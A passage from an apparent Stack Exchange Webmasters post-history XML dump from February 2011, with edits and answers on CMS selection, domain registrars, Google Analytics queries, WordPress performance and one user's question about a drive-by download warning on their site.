main concern is choosing a CMS that will be easy to update / maintain / deal with upgrades (i.e., support) in case I'm not there in the future. &#xD;&#xA;&#xD;&#xA;So I'm wondering how to factor in the open source CMS vs. a relatively inexpensive commercial CMS decision and whether choosing PHP/MySQL vs. ASP.net framework for development environment will play into my decision.&#xD;&#xA;&#xD;&#xA;Thanks for any input that can be offered based on the details I've given.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Jason" />
  <row Id="19049" PostHistoryTypeId="1" PostId="8769" RevisionGUID="a3234a9d-6546-40c3-bc78-7c9c61aca0b7" CreationDate="2011-02-05T21:26:27.200" UserId="3384" Text="Choosing open source vs. proprietary CMS" />
  <row Id="19050" PostHistoryTypeId="3" PostId="8769" RevisionGUID="a3234a9d-6546-40c3-bc78-7c9c61aca0b7" CreationDate="2011-02-05T21:26:27.200" UserId="3384" Text="&lt;cms&gt;" />
  <row Id="19051" PostHistoryTypeId="25" PostId="8769" RevisionGUID="6095fd08-9368-47b8-811e-cde8c46e1068" CreationDate="2011-02-05T23:16:39.913" Comment="http://twitter.com/#!/StackWebmasters/status/34027654898397184" />
  <row Id="19052" PostHistoryTypeId="2" PostId="8770" RevisionGUID="db1d4708-caff-421e-9c55-00e5fe7a5d8e" CreationDate="2011-02-05T23:31:49.263" UserId="4487" Text="There are actually a couple of decent open source .net CMS's available that would work within your current infrastructure, meet your needs for open source and are scalable enough for you to run your 400+ document site.&#xD;&#xA;If you decided to go down the PHP route, I would advise you to consider a few things (which are also relevant to the above and any CMS choice):&#xD;&#xA;&#xD;&#xA;### Decide if a Page based CMS is for you, or an Item based CMS&#xD;&#xA;The main difference is that with page based CMS's you pretty much deal with the content on a page by page basis, and can be represented like your desktop OS in a folder/tree hierarchy. Item based CMS's treat the information as &quot;items&quot; of data which are defined through their attributes, via tagging and so forth.&#xD;&#xA;&#xD;&#xA;Page based CMS's are decent in that if you're confident the content won't really be replicated again, they're quick to edit and setup. Item based CMS's are good for when you want to reuse stubs of content throughout the site.&#xD;&#xA;&#xD;&#xA;###.NET CMS's&#xD;&#xA;Firstly, you should checkout [Umbraco](http://umbraco.org/) (item). It's a .net CMS, uses limited amounts of XSLT and as you can tell by their marketing, a good solid solution used commercially too. The interface hides it power and complexity. I should add that Microsoft has been pushing this CMS for a while and has a good community around it.&#xD;&#xA;&#xD;&#xA;Second on my list is [Graffitti CMS](http://graffiticms.codeplex.com/) (page), whilst I haven't used it directly myself, it does seem to be a decent piece of software.&#xD;&#xA;&#xD;&#xA;### PHP CMS's&#xD;&#xA;[Drupal](http://www.drupal.org) (item), whilst fairly large, is a very powerful system.The items are referred to as &quot;Nodes&quot; within Drupal. There is a lot of documentation, lots of modules and a huge community behind it. The learning curve is steep, but ultimately rewarding. The sheer amount of sites based on Drupal says a lot about its power.&#xD;&#xA;&#xD;&#xA;[Symphony CMS](http://www.symphony-cms.com) (item) is my personal favourite, it uses XSLT (like umbraco) has a small but dedicated community and is nice to work with if you're willing to spend time with your project. It allows you to define your own data model, like Drupal 7 and is versatile in that you're not just restricted to creating websites, because you're in control of the markup. documentation is a little light, but the community is very helpful&#xD;&#xA;&#xD;&#xA;[Modx](http://www.modx.com) (page) Modx is quick to grasp, and is page based, so you can easily visualise your site structure. It has a decent community behind it and plugin modules ready to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ultimately, it's down to what skillset you have, what your infrastructure is likely to be and how much time you can dedicate to learning the quirks of each CMS. No one CMS is a silver bullet, no matter what anyone says but I hope this gives you an idea of your options. " />
  <row Id="19053" PostHistoryTypeId="2" PostId="8771" RevisionGUID="979176a1-10ff-4266-a351-6bf1714d640e" CreationDate="2011-02-05T23:35:46.933" UserId="1064" Text="Enter the hash mark as &quot;%23&quot; in the URL for URL-shortening services and Twitter.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Number_sign%23Computing" />
  <row Id="19054" PostHistoryTypeId="2" PostId="8772" RevisionGUID="61c5974f-01ec-41c8-b524-251cf998f3fe" CreationDate="2011-02-06T00:52:26.243" UserId="5157" Text="That website says they are an ICANN registrar, which is exactly what Go Daddy is. It really comes down to preference where you buy from. I work at a company and we resell domains through Enom (another big ICANN registrar) and people buy from us because they like to support local businesses or because it's easier for us to help them manage the domain when they have questions.&#xD;&#xA;&#xD;&#xA;I don't like Go Daddy but that is just my opinion. You can always transfer the domain to another registrar after it's been registered for 60. " />
  <row Id="19055" PostHistoryTypeId="5" PostId="8756" RevisionGUID="70107550-d515-4915-925a-32bf5e7a6e61" CreationDate="2011-02-06T01:19:49.180" UserId="529" Comment="added 26 characters in body; deleted 3 characters in body" Text="The Google Analytics API Query Explorer provides a simple interface for querying the Google Analytics API. So, if you're not looking to build an API tool, you can just setup your query in the Query Explorer, and bookmark the permalink it gives you, to easily extract your data.&#xD;&#xA;&#xD;&#xA;So, I'm going to build you a sample query that meets this explanation.&#xD;&#xA;&#xD;&#xA;Let's say your two variables are stored in the first and second slot. That means we'll set our dimensions to be the values (not the names) of the first two slots. &#xD;&#xA;&#xD;&#xA;The metric you're interested in retrieving sounds like its Total Events (but you could also use unique events). &#xD;&#xA;&#xD;&#xA;Then, you want to filter the results to be only those that triggered the particular category/action/label combination you want.&#xD;&#xA;&#xD;&#xA;The resulting query looks like this:&#xD;&#xA;&#xD;&#xA;&gt; **Dimensions**: ga:customVarValue1,ga:customVarValue2&#xD;&#xA;&#xD;&#xA;&gt; **Metrics**: ga:totalEvents&#xD;&#xA;&#xD;&#xA;&gt; **Filter**:ga:eventCategory==CATEGORYVALUE;ga:eventAction==ACTIONVALUE;ga:eventLabel==LABELVALUE&#xD;&#xA;&#xD;&#xA;The data returned would look something like this:&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[You can try out and customize this query here.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/VT72G.png&#xD;&#xA;  [2]: http://code.google.com/apis/analytics/docs/gdata/gdataExplorer.html?dimensions=ga%253AcustomVarValue1%252Cga%253AcustomVarValue2&amp;metrics=ga%253AtotalEvents&amp;filters=ga%253AeventCategory%253D%253DCATEGORYVALUE%253Bga%253AeventAction%253D%253DACTIONVALUE%253Bga%253AeventLabel%253D%253DLABELVALUE&amp;start-date=2011-01-21&amp;end-date=2011-02-04&amp;max-results=500&#xD;&#xA;" />
  <row Id="19056" PostHistoryTypeId="25" PostId="8536" RevisionGUID="7f2d8597-bb83-476e-af8c-c9b1ff9a6572" CreationDate="2011-02-06T02:16:39.977" Comment="http://twitter.com/#!/StackWebmasters/status/34072953972854784" />
  <row Id="19057" PostHistoryTypeId="2" PostId="8773" RevisionGUID="e828aea1-a6f7-4c0f-bded-45304c09a6e3" CreationDate="2011-02-06T03:43:06.843" UserId="5191" Text="We all know google is analizing analyzing URLs in order to get relevance. That's why javascriptoptimizer.com hits the first place for &quot;javascript optimizer&quot; query. The question is&#xD;&#xA;&#xD;&#xA;Does google male differense between keyword.com and keyword.info? is inf considered to gather less points? &#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="19058" PostHistoryTypeId="1" PostId="8773" RevisionGUID="e828aea1-a6f7-4c0f-bded-45304c09a6e3" CreationDate="2011-02-06T03:43:06.843" UserId="5191" Text="Google analyzing URL" />
  <row Id="19059" PostHistoryTypeId="3" PostId="8773" RevisionGUID="e828aea1-a6f7-4c0f-bded-45304c09a6e3" CreationDate="2011-02-06T03:43:06.843" UserId="5191" Text="&lt;google&gt;&lt;url&gt;" />
  <row Id="19060" PostHistoryTypeId="10" PostId="8773" RevisionGUID="c600226e-14f5-4a05-9b2b-fd17f59408d5" CreationDate="2011-02-06T04:05:48.183" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19061" PostHistoryTypeId="5" PostId="8773" RevisionGUID="1a71b77f-892d-4314-94dc-796cd7eca8dd" CreationDate="2011-02-06T04:05:48.323" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Does server location or TLD affects SEO](http://webmasters.stackexchange.com/questions/6519/does-server-location-or-tld-affects-seo)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;We all know google is analizing analyzing URLs in order to get relevance. That's why javascriptoptimizer.com hits the first place for &quot;javascript optimizer&quot; query. The question is&#xD;&#xA;&#xD;&#xA;Does google male differense between keyword.com and keyword.info? is inf considered to gather less points? &#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="19062" PostHistoryTypeId="11" PostId="8773" RevisionGUID="a154ea15-903c-4bbe-bd7c-711467381f5e" CreationDate="2011-02-06T04:06:13.177" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19063" PostHistoryTypeId="8" PostId="8773" RevisionGUID="dd7ec825-b7ac-4b9b-864d-c79767a59089" CreationDate="2011-02-06T04:06:35.687" UserId="1253" Comment="Rollback to [e828aea1-a6f7-4c0f-bded-45304c09a6e3]" Text="We all know google is analizing analyzing URLs in order to get relevance. That's why javascriptoptimizer.com hits the first place for &quot;javascript optimizer&quot; query. The question is&#xD;&#xA;&#xD;&#xA;Does google male differense between keyword.com and keyword.info? is inf considered to gather less points? &#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="19064" PostHistoryTypeId="2" PostId="8774" RevisionGUID="bebd6c78-b1d5-4f9a-a341-0f1f2f478b8c" CreationDate="2011-02-06T04:08:32.470" UserId="1253" Text="The is no difference between any TLD in Google.com's search results. TLD only plays a factor in country specific searches and in those cases only country specific TLDs matter. .com, .net. info, etc, are all considered equal." />
  <row Id="19065" PostHistoryTypeId="5" PostId="8773" RevisionGUID="fa66e5ab-2a09-4179-8172-26a78a9638d2" CreationDate="2011-02-06T04:10:43.467" UserId="1253" Comment="Made spelling corrections" Text="We all know google is analizing analyzing URLs in order to get relevance. That's why javascriptoptimizer.com hits the first place for &quot;javascript optimizer&quot; query. The question is&#xD;&#xA;&#xD;&#xA;Does google make difference between keyword.com and keyword.info? is .info considered to gather less points? &#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="19066" PostHistoryTypeId="2" PostId="8775" RevisionGUID="92b128bc-d71e-4106-8fe8-2ca4c30852da" CreationDate="2011-02-06T04:16:09.983" UserDisplayName="user5194" Text="Thanks for the question! Sorry that Yottaa support missed your question. There are two ways to deal with this:&#xD;&#xA;1. Just as suggested by Martin Bouladour, you can add a &quot;filter&quot; to filter out all traffic from &quot;YottaaMonitor&quot; in Google Analytics. It is a clean solution;&#xD;&#xA;2. Or you can use robots.txt file. See http://www.yottaa.com/how-to/block-yottaa-monitoring." />
  <row Id="19067" PostHistoryTypeId="2" PostId="8776" RevisionGUID="940656c2-dfc7-4b2b-a78f-b46b1dc56761" CreationDate="2011-02-06T04:24:44.267" UserId="1757" Text="The biggest difference between registrars is the type of company you deal with. For most people, a domain registrar is just a company through which they create a record in the domain name registry for the TLD they've selected. That means that domain registration services are essentially a [commodity][1] in 99% of cases.&#xD;&#xA;&#xD;&#xA;However, for whatever reason, the domain name industry has attracted unethical businesses and corruption almost from the very start (look into the history of InterNIC and Network Solutions). And even though practices like [frontrunning][2] are technically illegal and supposedly wiped out when [domain tasting][3] was eliminated, you're still dealing with potentially sketchy companies in a position of trust.&#xD;&#xA;&#xD;&#xA;So it's not so much what benefits a good registrar can provide for you so much as what a bad registrar can do to hurt you. For instance, a lot of registrars are closely associated with domain squatters/speculators (or may even be the same company, as in the case of Godaddy's domain warehousing scandal). You may or may not care if your registrar tells domain squatters or your competitors when your domain is due to expire, or the fact that they hijack expired domains for free advertising, or the fact that companies like Godaddy have long been a safe-haven for spammers, but some of the worst registrars have been implicated in things like credit card fraud and domain theft. The domain name industry is largely self-policing, so is it worth the risk to do business with a shady company?&#xD;&#xA;&#xD;&#xA;That said, sleazy business practices are pretty much the norm in the domain name industry. So _never_ be late renewing your domain. At best, you'll have to spend hundreds of dollars to reclaim it, at worst, your registrar could turn it into a neon billboard for your competitors or you could lose the domain altogether.&#xD;&#xA;&#xD;&#xA;What I recommend doing is to just take advantage of the free domain that most hosting packages come with. And don't register a domain with a company that charges you for things like private registration. Aside from that, there's not much else to choose between.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Commodity&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Domain_name_front_running&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Domain_tasting" />
  <row Id="19068" PostHistoryTypeId="5" PostId="8313" RevisionGUID="760bff58-b9a5-49d3-a27c-4dd2be794c50" CreationDate="2011-02-06T04:52:26.427" UserId="4643" Comment="added 27 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine results presented to general public?   &#xD;&#xA;&#xD;&#xA;I updated images with both &quot;keycaptcha&quot; and keycaptcha substituted by recaptcha results as well as for &quot;Past week&quot; to avoid the discussion of not having results by &quot;keycaptcha&quot;.  &#xD;&#xA;&#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past week&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past week&quot; on the left sidebar of a browser)  I am getting the Google's search results showing only results on reCAPTCHA].  &#xD;&#xA;&#xD;&#xA;![Google.com results are substituted by ][1]&#xD;&#xA;&#xD;&#xA;Though, if to confine keycaptcha keyword in quotes the results are &quot;correct&quot; (well, kind of since they are still distorted in comparison with other search engines):  &#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is a [work-around to use google.com/ncr (to get google.com)][6]    &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even.   &#xD;&#xA;But all results are exactly the same&#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or logged out of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;  &#xD;&#xA;  - whether &quot;Instant is off&quot; or &quot;Instant is on&quot;.     &#xD;&#xA;&#xD;&#xA;@[Michael][7],  &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  - Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Sometimes: Past year&#xD;&#xA;  - Sometimes: &quot;Any time&quot;&#xD;&#xA;  - Sometimes: &quot;Latest&quot;&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;  &#xD;&#xA;Update:  &#xD;&#xA;I could not understand:    &#xD;&#xA;nobody reproduces the described by me behavior  &#xD;&#xA;(i.e. when I click &quot;Past week&quot; link in google search searching for keycaptcha,   &#xD;&#xA;the presented results are only on reCAPTCHA presented)?   &#xD;&#xA;&#xD;&#xA;Follow-up question:  &#xD;&#xA;  &#xD;&#xA;  - [when google search gives incorrect results - how can it be reported? [closed]][8]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Q4gRf.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/5LoBV.png&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://en.kioskea.net/forum/affich-14111-how-to-change-from-google-xx-to-google-com&#xD;&#xA;  [7]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha/8328#8328&#xD;&#xA;  [8]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported" />
  <row Id="19069" PostHistoryTypeId="25" PostId="8773" RevisionGUID="4e6f11af-774f-4269-b600-225c30ab7c31" CreationDate="2011-02-06T05:16:39.777" Comment="http://twitter.com/#!/StackWebmasters/status/34118251680112640" />
  <row Id="19074" PostHistoryTypeId="25" PostId="8697" RevisionGUID="4538c7ae-6b1c-45d9-a8f7-dd1d75e3f214" CreationDate="2011-02-06T08:16:39.793" Comment="http://twitter.com/#!/StackWebmasters/status/34163549907599360" />
  <row Id="19075" PostHistoryTypeId="25" PostId="8532" RevisionGUID="69df5a65-ebbe-4ac4-a712-307933814fc8" CreationDate="2011-02-06T11:16:39.967" Comment="http://twitter.com/#!/StackWebmasters/status/34208849468592128" />
  <row Id="19076" PostHistoryTypeId="17" PostId="8780" RevisionGUID="d0644ab1-8dfa-4e9c-a3df-e0143b9f7a91" CreationDate="2011-02-06T13:11:01.190" UserId="-1" Comment="from http://stackoverflow.com/questions/4912497/optimizing-wordpress-to-handle-7-times-spike-in-traffic/4912540#4912540" Text="" />
  <row Id="19077" PostHistoryTypeId="17" PostId="8781" RevisionGUID="3b3fed64-4f36-4153-a7f5-d994c22834f1" CreationDate="2011-02-06T13:11:01.190" UserId="-1" Comment="from http://stackoverflow.com/questions/4912497/optimizing-wordpress-to-handle-7-times-spike-in-traffic/4912572#4912572" Text="" />
  <row Id="19078" PostHistoryTypeId="2" PostId="8780" RevisionGUID="5843c0b6-507f-404f-a776-089c26712068" CreationDate="2011-02-06T09:32:20.850" UserDisplayName="sarnold" Text="First, you'll have to figure out exactly _where_ your site is slow: is it in database processing? Is it in the front-end servers? Is it in the wordpress processes? Bandwidth? Maybe your host can help you figure out where your bottleneck is. (They probably want to sell exactly the right amount of CPU/Memory/Database/Bandwidth, to give you the most bang for your buck and bring in the most bucks. :)&#xD;&#xA;&#xD;&#xA;Make static what you can.&#xD;&#xA;&#xD;&#xA;Use a [CDN](http://en.wikipedia.org/wiki/Content_delivery_network) to serve JQuery or similar tools. [Google and Microsoft](http://docs.jquery.com/Downloading_jQuery) host JQuery for you! Woot.&#xD;&#xA;&#xD;&#xA;Use a CDN for your most-popular images. (Akamai, etc.) Use [CSS image sprites](http://www.alistapart.com/articles/sprites/) to collapse multiple images into a single image, to reduce the number of connection requests necessary to render a page.&#xD;&#xA;&#xD;&#xA;Implement some mechanism to cache rendered HTML pages, one for unauthenticated viewing, then per-person caches if individual viewers make multiple hits for the same content that must be re-generated. Implement some 'fragment caching' mechanism to cache smaller pieces, too, so that generating entire new pages to retire or populate the cache can go a little faster." />
  <row Id="19079" PostHistoryTypeId="2" PostId="8781" RevisionGUID="6ffbf721-5811-4fe3-a2fa-693668ef427b" CreationDate="2011-02-06T09:42:17.763" UserDisplayName="Dave Ward" Text="There are an awful lot of possible optimizations, but installing [WP Super Cache][1] will almost certainly solve your immediate problem.&#xD;&#xA;&#xD;&#xA;I host my blog on a 1gb Linode and have handled tens of thousands of requests some hours, without the VPS even breaking 10% CPU usage.  That's possible solely due to the static caching that WP Super Cache provides.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/wp-super-cache/" />
  <row Id="19080" PostHistoryTypeId="2" PostId="8779" RevisionGUID="01880227-226b-428a-b2a6-50b0de75264b" CreationDate="2011-02-06T09:14:34.593" UserDisplayName="Nicholas J Sheriff Jr" Text="My Wordpress site jumped from 3,000 visits to over 20,000 via organic traffic. How can I optimize it to handle the current load?&#xD;&#xA;&#xD;&#xA;I know their are some brilliant minds on here. Any illumination in this regard will be appreciated." />
  <row Id="19081" PostHistoryTypeId="1" PostId="8779" RevisionGUID="01880227-226b-428a-b2a6-50b0de75264b" CreationDate="2011-02-06T09:14:34.593" UserDisplayName="Nicholas J Sheriff Jr" Text="Optimizing wordpress to handle 7 times spike in traffic" />
  <row Id="19082" PostHistoryTypeId="3" PostId="8779" RevisionGUID="01880227-226b-428a-b2a6-50b0de75264b" CreationDate="2011-02-06T09:14:34.593" UserDisplayName="Nicholas J Sheriff Jr" Text="&lt;wordpress&gt;&lt;optimization&gt;&lt;server&gt;&lt;websites&gt;" />
  <row Id="19083" PostHistoryTypeId="17" PostId="8779" RevisionGUID="82ce1c59-2c00-4bf4-a592-d9c0cb97aa13" CreationDate="2011-02-06T13:11:01.190" UserId="-1" Comment="from http://stackoverflow.com/questions/4912497/optimizing-wordpress-to-handle-7-times-spike-in-traffic" Text="" />
  <row Id="19084" PostHistoryTypeId="17" PostId="8783" RevisionGUID="ca9ae1ce-45e5-408e-a353-d65bd85e6329" CreationDate="2011-02-06T13:13:24.650" UserId="-1" Comment="from http://stackoverflow.com/questions/4912631/which-web-design-site-discussed-embedding-single-characters-like-using-base64/4912851#4912851" Text="" />
  <row Id="19085" PostHistoryTypeId="2" PostId="8783" RevisionGUID="04526a69-84af-4c62-b5d1-b5d8b13df2b8" CreationDate="2011-02-06T10:56:25.390" UserId="4131" Text="I believe you may be referring to the [Best Available Ampersand][1] technique introduced by [Dan Cederholm][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://simplebits.com/notebook/2008/08/14/ampersands-2/&#xD;&#xA;  [2]: http://simplebits.com/" />
  <row Id="19086" PostHistoryTypeId="2" PostId="8782" RevisionGUID="eb5b7a47-b430-4f4a-908b-92f6f9fe1b31" CreationDate="2011-02-06T10:00:55.950" UserDisplayName="Timmeh" Text="I'm looking for a well known article site on site design which made an article about embedding just a single character (in this case, '&amp;') from a font to save load times. I believe the site used fixed width, pale colours. Thanks" />
  <row Id="19087" PostHistoryTypeId="1" PostId="8782" RevisionGUID="eb5b7a47-b430-4f4a-908b-92f6f9fe1b31" CreationDate="2011-02-06T10:00:55.950" UserDisplayName="Timmeh" Text="Which web design site discussed embedding single characters like &amp; using base64?" />
  <row Id="19088" PostHistoryTypeId="3" PostId="8782" RevisionGUID="eb5b7a47-b430-4f4a-908b-92f6f9fe1b31" CreationDate="2011-02-06T10:00:55.950" UserDisplayName="Timmeh" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="19089" PostHistoryTypeId="17" PostId="8782" RevisionGUID="8e1bec69-16b6-4229-b5c8-59fb68bacb1d" CreationDate="2011-02-06T13:13:24.650" UserId="-1" Comment="from http://stackoverflow.com/questions/4912631/which-web-design-site-discussed-embedding-single-characters-like-using-base64" Text="" />
  <row Id="19090" PostHistoryTypeId="25" PostId="8779" RevisionGUID="610fbb5e-3357-4c56-8fcd-9ae00c132727" CreationDate="2011-02-06T14:16:39.580" Comment="http://twitter.com/#!/StackWebmasters/status/34254146261626880" />
  <row Id="19091" PostHistoryTypeId="2" PostId="8784" RevisionGUID="1ab90f6a-4283-4a6b-8bb8-43ec7cbd1292" CreationDate="2011-02-06T15:10:38.993" UserId="120" Text="**I have already addressed this issue in [another question][1]**&#xD;&#xA;&#xD;&#xA;In hindsight, I should have asked it on Webmasters instead of the Programmers site.&#xD;&#xA;&#xD;&#xA;**You have 3 options:**&#xD;&#xA;&#xD;&#xA; 1. Let your framework handle it automatically&#xD;&#xA; 2. Let your webserver handle it automatically&#xD;&#xA; 3. Roll your own option to do it manually&#xD;&#xA;&#xD;&#xA;**Option 1 (using a CakePHP extension):**&#xD;&#xA;&#xD;&#xA;Download and install [AssetPacker][2] into your site (which also requires jsmin and CSSTidy). Modify your a few lines of source that include the js files. Wash-&gt;Rinse-&gt;Repeat. Voila, the rest is done automatically for you.&#xD;&#xA;&#xD;&#xA;If you use some other framework, chances are, there's a tool that will accomplish this for you. It's a pretty common requirement in the webdev world.&#xD;&#xA;&#xD;&#xA;**Option 2 (using an Apache mod):**&#xD;&#xA;&#xD;&#xA;Take a look at the [Google Pagespeed mod for Apache][3]. It does everything you describe and a whole lot more.&#xD;&#xA;&#xD;&#xA;Be sure to monitor your production server's resources though. Some people have been seeing issues where this increases load on their server in a bad way. I'm not positive but it may require a sufficient static content strategy to be an effective option.&#xD;&#xA;&#xD;&#xA;**Option 3:**&#xD;&#xA;&#xD;&#xA;If you really want, you could create some PHP magic that concatenates JS files server side and combines all the link rel's into one but... That's exactly what the two strategies are already doing anyway.&#xD;&#xA;&#xD;&#xA;Personally, I'd strongly advise against this option.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;As far as I know Sprockets concatenates JS files the same as AssetPacker, it's just implemented as a Ruby Gem. What it doesn't do is minify the js code. So, if you use it, it's probably a good idea to grab the jsmin gem too. [For information on how to use Sprockets + JSMin in CakePHP check this out][4].&#xD;&#xA;&#xD;&#xA;I know I put emphasis on CakePHP but... I'm assuming that, if a plugin can be adapted to CakePHP, it should be trivial to adapt it to a different framework too.&#xD;&#xA;&#xD;&#xA;  [1]: http://programmers.stackexchange.com/questions/37155/what-is-a-resonable-workflow-for-designing-webapps&#xD;&#xA;  [2]: https://github.com/mcurry/asset&#xD;&#xA;  [3]: http://code.google.com/intl/fr-FR/speed/page-speed/docs/module.html&#xD;&#xA;  [4]: http://mark-story.com/posts/view/creating-deployment-ready-javascript-with-sprockets" />
  <row Id="19092" PostHistoryTypeId="2" PostId="8785" RevisionGUID="d18dc78a-b5fa-4bc4-ae5d-3b55228e3735" CreationDate="2011-02-06T15:59:02.147" UserDisplayName="mprototype" Text="I'm getting a drive by download issue reported on&#xD;&#xA;&#xD;&#xA;    www.cottonsandwichquiltshop.com/catalog/index.php?manufacturers_id=19&amp;sort=2a&amp;filterid=61&#xD;&#xA;&#xD;&#xA;reported from safeweb.norton.com when I scan the root url.&#xD;&#xA;&#xD;&#xA;I have dug through the entire site architecture, and code base and removed a few files that were malicious, i upgraded the site's framework and fixed the security holes (mostly sql injection concerns).....&#xD;&#xA;&#xD;&#xA;However this one threat still exists and I can't locate it for the life of me, or find any valid research or information on removing this type of threat at the server level, mostly just a bunch of anti-virus software wanting to sell you on their ability to manage it on the client end. &#xD;&#xA;&#xD;&#xA;PLEASE HELP&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="19093" PostHistoryTypeId="1" PostId="8785" RevisionGUID="d18dc78a-b5fa-4bc4-ae5d-3b55228e3735" CreationDate="2011-02-06T15:59:02.147" UserDisplayName="mprototype" Text="Drive By Download Issue" />
  <row Id="19094" PostHistoryTypeId="3" PostId="8785" RevisionGUID="d18dc78a-b5fa-4bc4-ae5d-3b55228e3735" CreationDate="2011-02-06T15:59:02.147" UserDisplayName="mprototype" Text="&lt;javascript&gt;&lt;security&gt;" />
  <row Id="19095" PostHistoryTypeId="17" PostId="8785" RevisionGUID="dda14149-26ea-4d92-9d91-46b46b87dee6" CreationDate="2011-02-06T16:13:48.943" UserId="-1" Comment="from http://stackoverflow.com/questions/4914362/drive-by-download-issue" Text="" />
  <row Id="19096" PostHistoryTypeId="2" PostId="8786" RevisionGUID="aeef94a7-273e-454b-a088-38d571a3dafb" CreationDate="2011-02-06T16:41:45.920" UserId="5206" Text="I have noticed while asking questions on Stack Overflow that they appear in Google almost instantly.&#xD;&#xA;&#xD;&#xA;How does SO do this?&#xD;&#xA;&#xD;&#xA;Is it a feed or an auto-updated site map?" />
  <row Id="19097" PostHistoryTypeId="1" PostId="8786" RevisionGUID="aeef94a7-273e-454b-a088-38d571a3dafb" CreationDate="2011-02-06T16:41:45.920" UserId="5206" Text="How does Stack Overflow have questions appear in Google so quickly? " />
  <row Id="19098" PostHistoryTypeId="3" PostId="8786" RevisionGUID="aeef94a7-273e-454b-a088-38d571a3dafb" CreationDate="2011-02-06T16:41:45.920" UserId="5206" Text="&lt;google&gt;&lt;sitemap&gt;&lt;google-search&gt;" />
  <row Id="19099" PostHistoryTypeId="25" PostId="8786" RevisionGUID="31298dfd-7c3f-4901-8946-50c6265564d5" CreationDate="2011-02-06T17:16:39.853" Comment="http://twitter.com/#!/StackWebmasters/status/34299445772292096" />
